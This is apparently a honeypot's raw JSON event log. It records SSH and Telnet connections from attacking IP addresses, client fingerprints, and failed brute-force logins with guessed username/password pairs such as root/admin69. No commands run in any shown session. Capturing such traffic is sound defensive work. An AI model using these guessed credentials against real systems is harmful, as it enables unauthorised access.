{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":14319,"dst_ip":"10.17.0.5","dst_port":23,"session":"a7a2b4f500c5","protocol":"telnet","message":"New connection: 212.55.149.117:14319 (10.17.0.5:23) [session: a7a2b4f500c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:33:48.199488Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:33:48.995214Z","src_ip":"64.89.163.156","session":"0f25884c56c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.160.242.74","src_port":33284,"dst_ip":"159.203.135.109","dst_port":22,"session":"88d93d1b500a","protocol":"ssh","message":"New connection: 43.160.242.74:33284 (159.203.135.109:22) [session: 88d93d1b500a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:34:05.440698Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:34:05.445520Z","src_ip":"43.160.242.74","session":"88d93d1b500a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:34:05.691498Z","src_ip":"43.160.242.74","session":"88d93d1b500a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"passadmin123456","message":"login attempt [root/passadmin123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:34:06.672076Z","src_ip":"43.160.242.74","session":"88d93d1b500a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:34:07.912182Z","src_ip":"43.160.242.74","session":"88d93d1b500a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":59470,"dst_ip":"159.203.135.109","dst_port":23,"session":"bf7633f27009","protocol":"telnet","message":"New connection: 128.199.8.54:59470 (159.203.135.109:23) [session: bf7633f27009]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:34:08.634614Z"}
{"eventid":"cowrie.session.connect","src_ip":"118.194.229.94","src_port":35542,"dst_ip":"159.203.135.109","dst_port":22,"session":"1f52309ec9f6","protocol":"ssh","message":"New connection: 118.194.229.94:35542 (159.203.135.109:22) [session: 1f52309ec9f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:34:12.361321Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:34:12.366888Z","src_ip":"118.194.229.94","session":"1f52309ec9f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:34:12.525205Z","src_ip":"118.194.229.94","session":"1f52309ec9f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123654","message":"login attempt [admin/123654] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:34:13.185045Z","src_ip":"118.194.229.94","session":"1f52309ec9f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:34:14.344887Z","src_ip":"118.194.229.94","session":"1f52309ec9f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":40116,"dst_ip":"159.203.135.109","dst_port":23,"session":"4f1c1811addd","protocol":"telnet","message":"New connection: 128.199.8.54:40116 (159.203.135.109:23) [session: 4f1c1811addd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:34:28.543831Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.116.26.161","src_port":38905,"dst_ip":"159.203.135.109","dst_port":22,"session":"c25688e4fb63","protocol":"ssh","message":"New connection: 50.116.26.161:38905 (159.203.135.109:22) [session: c25688e4fb63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:34:32.992719Z"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:34:33.161408Z","src_ip":"50.116.26.161","session":"c25688e4fb63","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.46.255.86","src_port":37442,"dst_ip":"10.17.0.5","dst_port":22,"session":"407f9780435c","protocol":"ssh","message":"New connection: 193.46.255.86:37442 (10.17.0.5:22) [session: 407f9780435c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:34:39.388128Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:34:39.392885Z","src_ip":"193.46.255.86","session":"407f9780435c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:34:39.514295Z","src_ip":"193.46.255.86","session":"407f9780435c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"francis","password":"francis123","message":"login attempt [francis/francis123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:34:40.073728Z","src_ip":"193.46.255.86","session":"407f9780435c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:34:41.198168Z","src_ip":"193.46.255.86","session":"407f9780435c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.769970655441284,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:34:43.404496Z","src_ip":"128.199.8.54","session":"bf7633f27009","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.25739097595215,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:35:01.801107Z","src_ip":"128.199.8.54","session":"4f1c1811addd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.160.242.74","src_port":33500,"dst_ip":"159.203.135.109","dst_port":22,"session":"e74bbbcb4e74","protocol":"ssh","message":"New connection: 43.160.242.74:33500 (159.203.135.109:22) [session: e74bbbcb4e74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:35:07.234242Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:35:07.239261Z","src_ip":"43.160.242.74","session":"e74bbbcb4e74","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:35:07.477372Z","src_ip":"43.160.242.74","session":"e74bbbcb4e74","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"54321","message":"login attempt [deploy/54321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:35:08.456940Z","src_ip":"43.160.242.74","session":"e74bbbcb4e74","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:35:09.696581Z","src_ip":"43.160.242.74","session":"e74bbbcb4e74","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":51172,"dst_ip":"159.203.135.109","dst_port":23,"session":"a57e4a1743ce","protocol":"telnet","message":"New connection: 128.199.8.54:51172 (159.203.135.109:23) [session: a57e4a1743ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:35:18.730877Z"}
{"eventid":"cowrie.session.closed","duration":120.00991868972778,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:35:48.209212Z","src_ip":"212.55.149.117","session":"a7a2b4f500c5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.379058837890625,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:35:53.109805Z","src_ip":"128.199.8.54","session":"a57e4a1743ce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":50862,"dst_ip":"10.17.0.5","dst_port":23,"session":"8a49f17cc727","protocol":"telnet","message":"New connection: 212.55.149.117:50862 (10.17.0.5:23) [session: 8a49f17cc727]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:36:00.810279Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.160.242.74","src_port":41802,"dst_ip":"159.203.135.109","dst_port":22,"session":"977c7e481bfd","protocol":"ssh","message":"New connection: 43.160.242.74:41802 (159.203.135.109:22) [session: 977c7e481bfd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:36:05.013921Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:36:05.020641Z","src_ip":"43.160.242.74","session":"977c7e481bfd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:36:05.250975Z","src_ip":"43.160.242.74","session":"977c7e481bfd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin69","message":"login attempt [root/admin69] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:36:06.204435Z","src_ip":"43.160.242.74","session":"977c7e481bfd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:36:07.442625Z","src_ip":"43.160.242.74","session":"977c7e481bfd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.194.229.94","src_port":47176,"dst_ip":"159.203.135.109","dst_port":22,"session":"ef1e44fcb092","protocol":"ssh","message":"New connection: 118.194.229.94:47176 (159.203.135.109:22) [session: ef1e44fcb092]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:36:14.255479Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:36:14.260421Z","src_ip":"118.194.229.94","session":"ef1e44fcb092","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:36:14.417941Z","src_ip":"118.194.229.94","session":"ef1e44fcb092","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bvpn","password":"bvpn","message":"login attempt [bvpn/bvpn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:36:15.080875Z","src_ip":"118.194.229.94","session":"ef1e44fcb092","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:36:16.242526Z","src_ip":"118.194.229.94","session":"ef1e44fcb092","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":39988,"dst_ip":"10.17.0.5","dst_port":22,"session":"8b118049c71d","protocol":"ssh","message":"New connection: 103.15.226.202:39988 (10.17.0.5:22) [session: 8b118049c71d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:36:24.323528Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:36:24.327539Z","src_ip":"103.15.226.202","session":"8b118049c71d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:36:24.575212Z","src_ip":"103.15.226.202","session":"8b118049c71d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123qweASD","message":"login attempt [root/123qweASD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:36:25.321671Z","src_ip":"103.15.226.202","session":"8b118049c71d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:36:26.572445Z","src_ip":"103.15.226.202","session":"8b118049c71d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.100","src_port":20927,"dst_ip":"159.203.135.109","dst_port":22,"session":"9677aae977af","protocol":"ssh","message":"New connection: 193.24.211.100:20927 (159.203.135.109:22) [session: 9677aae977af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:36:50.466036Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:36:50.470580Z","src_ip":"193.24.211.100","session":"9677aae977af","protocol":"ssh"}
